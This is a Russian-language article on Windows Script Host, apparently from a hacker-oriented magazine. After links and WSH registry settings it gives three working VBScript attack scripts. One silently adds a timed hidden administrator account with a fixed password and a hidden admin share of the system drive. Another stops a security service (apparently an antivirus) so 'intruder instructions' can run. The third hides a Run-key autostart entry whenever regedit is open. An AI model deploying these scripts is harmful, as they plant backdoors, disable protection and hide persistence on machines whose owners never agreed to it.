Ссылки:
1 2 3 4 5 6 |
http://msdn.microsoft.com/scripting - без комментариев http://www.borncity.de/WSHBazaar/ - сайт Гюнтера Борна, автора книг по WSH http://www.win32scripting.com – ежемесячный журнал, посвященный администрированию Windows с использованием сценариев http://scripting.winguides.com/ - статьи и примеры на VBScript и JScript http://www.winscripter.com – гора информации, ссылок, примеров http://www.activestate.com – если тебе не нравятся VBScript и JScript, то отсюда можно скачать модули поддержки Active Perl, Active Pyton, Active XSLT |
Windows Script Host (WSH).
1 2 3 4 5 6 |
Windows Script Host (WSH). Основная задача WSH - интерпретация и выполнение сценариев (скриптов), на писанных на языках VBScript и Jscript. Windows Script Host имеет ограничения по работе с реестром. Однако можно создать .REG файл, а затем запустить его командой regedit.exe с ключом “/s”. Серверы сценариев находятся в папках %WINDIR%/System32/ (рабочие файлы) и %WINDIR%/System32/dllcache/ (резервные копии системы защиты файлов). Изменять действия по умолчанию следует для файлов следующих типов: .wsf; .wsh; .vbs; .vbe; .js; .jse. Все они, за исключением .wsh, являются исполняемыми разновидностями сценариев WSH. |
Настройки режимов выполнения сценариев WSH располагаются в двух ветвях реестра:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows ScriptHost\Settings] для всех пользователей данной машины и [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows ScriptHost\Settings] для текущего пользователя. "IgnoreUserSettings"="1" - отменяет приоритет пользовательских настроек. Применим только к первой ветви. "Enabled"="1" - разрешает выполнение сценариев. "LogSecuritySuccesses"="1" - включает выполнение аудита успешных запусков в Журнал событий системы. Сохраняет информацию о каждом успешном запуске. Весьма полезный параметр - ни один скрипт не останется незамеченным. "LogSecurityFailures"="1" - включает выполнение аудита отказов. В Журнал событий системы заносятся все попытки запуска криво на- писанных, либо слишком смелых сценариев. Явно не лишний параметр. "DisplayLogo"="1" - разрешает отображение информации о версии WSH сервера. |
Пример подключения пользователя \ создание и удаление шары:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
<?xml version="1.0" encoding="windows-1251"?> <job id="T1"> <script language="VBScript"> <![CDATA[ 'Объявление используемых переменных и констант Option Explicit Const x=0 Dim WshShell, ResourceLifeTime Dim UserName, UserPass, AdminsGroupName Dim ShareName, Sharepath, ShareLifeTime 'Присвоение переменным нужных значений UserName="RemoteUser" UserPass="qwerty" AdminsGroupName="Администраторы" 'В случае англоязычной системы следует указать "Administrators" ShareName="RemoteShare$" Sharepath="%SystemDrive%" ResourceLifeTime=3600 'Время жизни созданных ресурсов в минутах Set WshShell=WScript.CreateObject("WScript.Shell") 'Процедура, терпеливо ожидающая вечера пятницы Sub Main() Do While x=0 If DatePart("w",now())=vbWednesday And DatePart("h",now())>=17 Then Call GetAll() WScript.Sleep ResourceLifeTime*1000 Call UnGetAll() Else WScript.Sleep 600000 End If Loop End Sub 'Процедура создания шары и юзера Sub GetAll() WshShell.Run "NET USER " & UserName & " " & UserPass & " /ADD ",0 WScript.Sleep 2000 WshShell.Run "NET LOCALGROUP " & AdminsGroupName & " " & UserName & " /ADD",0 WshShell.Run "NET SHARE " & ShareName & "=" & Sharepath & " /USERS:1",0 End Sub 'Процедура удаления шары и юзера Sub UnGetAll() WshShell.Run "NET USER " & UserName & " /DELETE",0 WshShell.Run "NET SHARE " & ShareName & " /DELETE",0 End Sub 'Запуск всего этого Call Main() ]]> </script> </job> |
Запуск и остановка службы сценарием
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
<?xml version="1.0" encoding="windows-1251"?> <job id="T1"> <script language="VBScript"> <![CDATA[ 'Для начала объявляются все переменные Option Explicit Dim Computer, Computername Dim Service, TargetService, LanManService Dim WshNetwork, WshShell 'В этой переменной укажи имя мешающей тебе службы Targetservice="spidernt" 'Определение имени компьютера 'Это делает сценарий универсальным Set WshNetwork = Wscript.CreateObject("Wscript.Network") ComputerName=WshNetwork.ComputerName `Запускается служба "Рабочая станция" 'Если она запущена - ничего не произойдет Set WshShell=WScript.CreateObject("WScript.Shell") LanManService="NET START " & chr(34) & "lanmanworkstation" & chr(34) WshShell.Run LanManService,0 'Время, необходимое для запуска службы WScript.Sleep 10000 'Производится получение к службе локального компьютера Set Computer=GetObject("WinNT://" & ComputerName & ",computer") Set Service=Computer.GetObject("service",TargetService) 'Остановка службы Service.Stop 'или пауза 'Service.Pause 'Время, необходимое для остановки WScript.Sleep 5000 '*************************************** ' Здесь располагаются инструкции взломщика '**************************************** Запуск службы Service.Start 'Или возобновление 'Service.Continue WScript.Quit ]]> </script> </job> |
Сценарий прячет ссылку на Блокнот от Regedit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
<?xml version="1.0" encoding="windows-1251"?> <job id="T1"> <script language="VBScript"> <![CDATA[ 'Объявляются используемые переменные и константы Option explicit Const x=0 Dim WshShell, prs1 Dim ProcName, LoadName Dim Process, Processes Dim Stime, RegPath 'Подключаются необходимые COM объекты Set WshShell=WScript.CreateObject("WScript.Shell") 'Переменным присваиваются значения RegPath="HKEY_CURRENT_USER\Software\Microsoft\WinDows\CurrentVersion\Run\notepad" LoadName="notepad.exe" ProcName=UCase("regedit.exe") 'Пауза между проверками в миллисекундах Stime=500 'Функция мониторинга процессов Function ProcExists(prs) Set Processes=getobject("winmgmts:{impersonationlevel=impersonate}!root\cimv2").execquery ("select *from win32_Process") For Each Process in Processes If UCase(Process.description) = ProcName Then ProcExists = True Else ProcExists = False End If Next End Function 'Функция маскировки ссылки Do While x=0 If ProcExists(prs1) = True Then Set Processes=getobject("winmgmts:{impersonationlevel=impersonate}!root\cimv2").execquery ("select *from win32_Process") For Each Process in Processes If UCase(Process.description) = ProcName Then WshShell.Regdelete RegPath End If Next Do While ProcExists(prs1) = True WScript.Sleep Stime*2 loop Else On Error Resume Next WshShell.Regread RegPath If Err<>0 Then WshShell.RegWrite RegPath,LoadName,"REG_SZ" End If End If WScript.Sleep Stime Loop ]]> </script> </job> |